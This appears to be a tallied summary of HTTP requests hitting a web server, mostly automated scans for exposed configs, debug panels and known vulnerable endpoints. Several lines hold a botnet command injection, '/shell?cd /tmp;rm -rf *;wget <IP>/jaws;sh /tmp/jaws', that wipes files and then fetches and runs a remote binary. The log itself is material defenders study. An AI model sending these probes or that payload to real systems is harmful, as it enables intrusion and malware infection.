1 GET /.vscode/sftp.json HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?rest_route=/wp/v2/users/ HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /about HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /api/search?folderIds=0 HTTP/1.1
1 GET /cgi-bin/downloadFlile.cgi HTTP/1.1
1 GET /client/get_targets HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
1 GET /druid/index.html HTTP/1.1
1 GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1
4 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /login.action HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /s/433323e24343e27363e23313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ 100.43.163.61/jaws;sh+/tmp/jaws
3 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /telescope/requests HTTP/1.1
1 GET /v2/_catalog HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
3 POST /boaform/admin/formLogin HTTP/1.1
2 PRI * HTTP/2.0